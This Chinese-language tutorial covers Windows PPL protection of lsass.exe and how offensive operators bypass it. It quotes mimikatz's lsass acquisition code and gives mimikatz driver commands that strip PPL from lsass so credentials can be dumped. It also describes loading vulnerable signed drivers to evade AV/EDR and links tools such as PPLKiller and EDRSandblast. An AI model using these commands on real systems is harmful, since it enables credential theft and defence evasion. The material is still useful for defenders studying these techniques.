Skip to main content

PPL

随着 mimikatz 的风靡,微软也开发出了响应的防御措施,例如 PPL。对于 IT 管理员,PPL 非常容易部署,绝对是 quick-win,虽然 PPL 是可以被绕过的,但至少给导出凭证操作增添了额外的难度。我们说过,Windows 有 4 种完整度等级,而 PPL,则是更高级的,这意味着即便是 SYSTEM 权限也无法访问被 PPL 保护的进程,而 lsass 支持 PPL保护。我们可以在注册表的如下位置添加 RunAsPPL 从而启用 PPL。

image.png

对于启用了 PPL 的主机,如果我们尝试提取 lsass 中的凭证,那么我们会得到如下的报错:

image.png

我们查看 mimikatz 相关部分的代码:

NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
      NTSTATUS status = STATUS_SUCCESS;
      KULL_M_MEMORY_TYPE Type;
      HANDLE hData = NULL;
      DWORD pid, cbSk;
      PMINIDUMP_SYSTEM_INFO pInfos;
      DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
      BOOL isError = FALSE;
      PBYTE pSk;

      if(!cLsass.hLsassMem)
      {
          status = STATUS_NOT_FOUND;
          if(pMinidumpName)
          {
              Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
              kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
              hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
          }
          else
          {
              Type = KULL_M_MEMORY_TYPE_PROCESS;
              if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
                  hData = OpenProcess(processRights, FALSE, pid);
              else PRINT_ERROR(L"LSASS process not found (?)\n");
          }

          if(hData && hData != INVALID_HANDLE_VALUE)
          {
              if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
              {
                  if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
                  {
                      if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
                      {
                          cLsass.osContext.MajorVersion = pInfos->MajorVersion;
                          cLsass.osContext.MinorVersion = pInfos->MinorVersion;
                          cLsass.osContext.BuildNumber  = pInfos->BuildNumber;
                      #if defined(_M_X64) || defined(_M_ARM64)
                          if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
                              PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
                      #elif defined(_M_IX86)
                          if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
                              PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
                      #endif
                      }
                      else
                      {
                          isError = TRUE;
                          PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n");
                      }

                      if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
                      {
                          kprintf(L"  > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
                          pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
                          kprintf(L"    %u candidate keys found\n", pid);
                      }
                  }
                  else
                  {
                  #if defined(_M_IX86)
                      if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
                          PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
                      else
                  #endif
                      {                        
                                                  cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
                          cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
                          cLsass.osContext.BuildNumber  = MIMIKATZ_NT_BUILD_NUMBER;
                      }
                  }

                  if(!isError)
                  {
                      lsassLocalHelper = 
                      #if defined(_M_ARM64)
                          &lsassLocalHelpers[0]
                      #else
                          (cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
                      #endif
                      ;

                      if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
                      {
                      #if !defined(_M_ARM64)
                          kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
                      #endif
                          kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
                          kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
                          if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
                          {
                              kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
                              if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
                              {
                                  status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
                                  if(!NT_SUCCESS(status))
                                      PRINT_ERROR(L"Key import\n");
                              }
                              else PRINT_ERROR(L"Logon list\n");
                          }
                          else PRINT_ERROR(L"Modules informations\n");
                      }
                      else PRINT_ERROR(L"Local LSA library failed\n");
                  }
              }
              else PRINT_ERROR(L"Memory opening\n");

              if(!NT_SUCCESS(status))
                  CloseHandle(hData);
          }
          else PRINT_ERROR_AUTO(L"Handle on memory");

          if(!NT_SUCCESS(status))
              cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
      }
      return status;
}

笔者已经标记出了分支语句,根据代码我们得知在 PPL 启用的状态下,OpenProcess 无法访问 lsass.exe 进程,即便是开启了SeDebugPrivilege 特权的本地管理员。

但是正如开头所说,PPL 是可以被绕过的,虽然依旧会给我们增加额外的难度。其中方法之一就是使用 mimikatz 的驱动 mimidrv.sys,移除 lsass.exe 的 PPL保护

!+

!processprotect /process:lsass.exe /remove

image.png

在这之后,我们就可以愉快地提取凭证了。但是,攻与防是持续的斗争,虽然 mimidrv.sys 可以帮助我们移除 lsass.exe 的 PPL 保护,但是 mimidrv.sys 会被 AV/EDR 列入黑名单。因此,我们可以编写自己的驱动并且签名,如果觉得这麻烦的话,可以利用具有漏洞的官方驱动在内核空间执行代码(有些类似于通过 LOLBAS 绕过 AppLocker),这样的话我们就能从用户态载入未签名的驱动,例如 PPLKiller (https://github.com/RedCursorSecurityConsulting/PPLKiller) 就是利用了这种技术。

其他一些参考工具:
EDRSandblask: https://github.com/wavestone-cdt/EDRSandblast 
PPLDump: https://github.com/itm4n/PPLdump  (在最新Win11已经不适用)
pypykatz: https://github.com/skelsec/pypykatz